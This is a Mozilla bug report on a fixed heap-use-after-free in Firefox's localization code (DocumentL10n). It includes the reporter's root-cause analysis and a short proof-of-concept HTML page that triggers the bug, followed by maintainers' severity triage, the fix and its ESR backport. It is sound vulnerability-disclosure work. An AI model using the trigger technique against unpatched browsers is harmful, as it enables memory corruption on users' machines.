heap-use-after-free in DocumentL10n::TranslateDocument
Categories
(Core :: Internationalization, defect)
Tracking
()
People
(Reporter: kirin.say, Assigned: smaug)
Details
(Keywords: csectype-uaf, reporter-external, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main99+][adv-esr91.8+])
Attachments
(6 files)
heap-use-after-free in DocumentL10n::TranslateDocument
VERSION
Firefox 97 Nightly Build
VULNERABILITY DETAILS
void Document::LocalizationLinkAdded(Element* aLinkElement) {
if (!AllowsL10n()) {
return;
}
......
......
if (!mDocumentL10n) {
Element* elem = GetDocumentElement();
MOZ_DIAGNOSTIC_ASSERT(elem);
bool isSync = elem->HasAttr(nsGkAtoms::datal10nsync);
mDocumentL10n = DocumentL10n::Create(this, isSync);
......
}
mDocumentL10n->AddResourceId(NS_ConvertUTF16toUTF8(href));
if (mReadyState >= READYSTATE_INTERACTIVE) {
mDocumentL10n->TriggerInitialTranslation(); // **** 1 ****
} else {
......
......
}
}
void DocumentL10n::TriggerInitialTranslation() {
······
······
nsTArray<RefPtr<Promise>> promises;
ErrorResult rv;
promises.AppendElement(TranslateDocument(rv));
if (NS_WARN_IF(rv.Failed())) {
InitialTranslationCompleted(false);
mReady->MaybeRejectWithUndefined();
return;
}
promises.AppendElement(TranslateRoots(rv)); // **** 2 ****
Element* documentElement = mDocument->GetDocumentElement(); // // **** 3 ****
......
......
}
When an HTMLLinkElement(with rel="localization") is added to the document, the document will create
a DocumentL10n and trigger TriggerInitialTranslation. In the path from (1) in Document::LocalizationLinkAdded to (2) in DocumentL10n::TriggerInitialTranslation, only the document hold the reference of DocumentL10n in mDocumentL10n.
In TranslateRoots(2), the function will use a Promise to resolve ErrorResult rv. If we define the Getter of "then"
in Object's prototype before, Promise->resolve will trigger user's JS callback in TranslateRoots(2). And we can set HTMLLinkElement's rel to null to trigger Document::LocalizationLinkRemoved. It will set mDocumentL10n to nullptr and remove the reference of DocumentL10n, then we can destroy the object in gc. When the program return to TriggerInitialTranslation, it will lead to a Use-After-Free in (3)(with accessing the member variable: mDocument).
REPRODUCTION CASE
I write a testcase to verify this vulnerability:
poc.html:
<html data-l10n-sync>
<body>
<script type="text/javascript" >
forceGC = () => {
FuzzingFunctions.garbageCollect();
FuzzingFunctions.cycleCollect();
// Without enable Fuzzing:
// new ArrayBuffer(0xfffffff);
// alert(1);
}
var link = document.body.appendChild(document.createElement("link"));
Object.prototype.__defineGetter__("then", function() {
link.rel = "";
forceGC();
})
function run(){
link.rel = "localization";
}
setTimeout(run,1000);
</script>
</body>
</html>
ASAN LOG
asan.log in attachment.
( It seems like that the ASAN in MacOS doesn't work well, it can't recognize the heap-use-after-free in my computer. The Use-After-Free can be verified by rdi: 0xe5e5e5e5e5e5e5e5. )
Suggestion
Hold the reference of DocumentL10n before DocumentL10n::TriggerInitialTranslation.
CREDIT INFORMATION
Kirin of Tencent Security Xuanwu Lab.
|
||
Updated•3 years ago
|
|
||
Updated•3 years ago
|
|
|
||
Comment 1•3 years ago
|
||
Tyson, could you please get an ASan report for this test case? It looks like the attached log is actually from UBSan and it would be nice to get a real ASan log for it. Thanks.
|
|
||
Comment 2•3 years ago
|
||
It looks like these APIs are available only to special chrome documents, which mitigates the risk a bit. It does look like we have the capability to run these l10n documents without system privilege, so this could be a stepping stone to something bad.
I was able to reproduce a UAF-y crash by replacing a test file dom/l10n/tests/mochitest/document_l10n/test_docl10n_sync.html with the given test case, then running it with ./mach mochitest test_docl10n_sync.html.
|
|
||
Updated•3 years ago
|
|
|
||
Comment 3•3 years ago
|
||
Oh and I also changed the forceGC method to do SpecialPowers.forceGC(); SpecialPowers.forceCC(); a few times.
|
|
||
Comment 4•3 years ago
|
||
|
|
||
Updated•3 years ago
|
|
|
||
Comment 5•3 years ago
|
||
Reporter, just to make sure I'm not missing anything, how did you trigger this vulnerability? Did you modify some existing file shipped with Firefox or is there some way to load it via the web? Thanks.
Hello,
Thank you for such a quick reply. About triggering this vulnerability:
The easiest way to trigger it is to add a resource to Firefox ( just like resource://payments/paymentRequest.xhtml ), but it needs some permission to do it. And it's not a good way to trigger the vulnerability.
To better demonstrate the severity of this vulnerability, I made a simple Add-on in Firefox to trigger it (poc.zip in attachment). It will trigger the heap-use-after-free in Firefox after loading it:
poc:
- manifest.json
- background.js
|
||
Comment 8•3 years ago
|
||
Hi Eemeli,
We talked about this in a DOM meeting and thought this is something you would be interested in taking a look and suggesting severity/next steps. Thank you!
|
||
Comment 9•3 years ago
•
|
||
Definitely looks interesting to me. For severity: presumably S2 as this allows at least crashing the browser from JS extension code?
I'm not really familiar with the C++ code at this level, so can't say if the GC could/should avoid dropping the DocumentL10n in this case. Also, this might be a bit naive, but would checking if (this == NULL) { return; } after returning to TriggerInitialTranslation work to avoid the crash?
Edit: Realised that you probably meant a sec-severity rating? For that I'd presume sec-moderate, as this (almost certainly) can't be triggered without at least a compromised extension.
|
Reporter | |
Comment 10•3 years ago
|
||
Hi,
I don't think the check of if (this == NULL) { return; } will avoid the triggering of the UAF. The vulnerability happens inside function TriggerInitialTranslation(not a Null pointer reference).
And I think a vulnerability that can be triggered in the context of a Web extensions shouldn't reduce its sec-severity rating.
|
|
Reporter | |
Comment 11•3 years ago
|
||
And the triggering of the vulnerability does not require any special interaction. (In reply to Kirin from comment #10)
Hi,
I don't think the check of
if (this == NULL) { return; }will avoid the triggering of the UAF. The vulnerability happens inside function TriggerInitialTranslation(not a Null pointer reference).And I think a vulnerability that can be triggered in the context of a Web extensions shouldn't reduce its sec-severity rating.
|
|
||
Comment 12•3 years ago
|
||
The fix for this is to root mDocumentL10n into a refcounted local variable, then call TriggerInitialTranslation() on that variable instead of mDocumentL10n.
(In reply to Kirin from comment #10)
And I think a vulnerability that can be triggered in the context of a Web extensions shouldn't reduce its sec-severity rating.
If this requires running code at a higher level of privilege than web content, that reduces the severity. It is harder to get a user to install an addon than to get them to visit a website.
To try to assess the severity, I'm trying to figure out exactly when we can run these localized documents. Gijs pointed me at BasePrincipal::IsL10NAllowed(). That makes it look like only privileged addons are allowed to use localized documents, but I'm not sure how to reconcile that with the attached addon apparently causing the issue, but I'm not super familiar with web extension permissions.
|
|
Reporter | |
Comment 13•3 years ago
|
||
Hello,
Thanks for your explanation. I agree you with "It is harder to get a user to install an addon than to get them to visit a website." . But I don't know if the memory corruption in the Web extensions's context is worse than a normal web page ( Can it be used as a step towards more serious security issues? ). And I'm OK with your assess of the severity.
|
||
Updated•3 years ago
|
|
||
Comment 14•3 years ago
|
||
The severity field is not set for this bug.
:m_kato, could you have a look please?
For more information, please visit auto_nag documentation.
|
||
Comment 15•3 years ago
|
||
Looks as S2 since this seems to require chrome or addon privilege.
|
Assignee | |
Updated•3 years ago
|
|
|
Assignee | |
Comment 16•3 years ago
|
||
|
||
Comment 17•3 years ago
|
||
trigger localization at expected time, r=mccr8
https://hg.mozilla.org/integration/autoland/rev/08c4dce8f79cf9cf95ebf17e9cd5b2f54284000a
https://hg.mozilla.org/mozilla-central/rev/08c4dce8f79c
|
|
||
Updated•3 years ago
|
|
|
||
Updated•3 years ago
|
|
|
||
Updated•3 years ago
|
|
||
Updated•3 years ago
|
|
||
Updated•3 years ago
|
|
|
||
Comment 18•3 years ago
|
||
Please nominate this for ESR91 approval when you get a chance.
|
|
Assignee | |
Comment 19•3 years ago
|
||
Esr needs a tiny bit different patch. Uploading in a minute.
|
|
Assignee | |
Comment 20•3 years ago
|
||
|
|
Assignee | |
Updated•3 years ago
|
|
|
Assignee | |
Comment 21•3 years ago
|
||
Comment on attachment 9267833 [details]
Bug 1751609, trigger localization at expected time (esr), r=mccr8
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration: Addons may trigger a security sensitive crash
- User impact if declined: crash
- Fix Landed on Version: 99
- Risk to taking this patch: Medium
- Why is the change risky/not risky? (and alternatives if risky): Because the code changes scheduling a tiny bit (nsContentUtils::AddScriptRunner), that could in theory cause some issue. So the risk isn't super low.
|
|
||
Comment 22•3 years ago
|
||
Comment on attachment 9267833 [details]
Bug 1751609, trigger localization at expected time (esr), r=mccr8
Thanks for doing the rebase. Approved for 91.8esr.
|
|
||
Comment 23•3 years ago
|
||
| uplift | ||
|
||
Updated•3 years ago
|
|
|
||
Comment 24•3 years ago
|
||
|
|
||
Updated•3 years ago
|
|
|
||
Updated•3 years ago
|
|
|
||
Updated•3 years ago
|
|
||
Updated•9 months ago
|
Description
•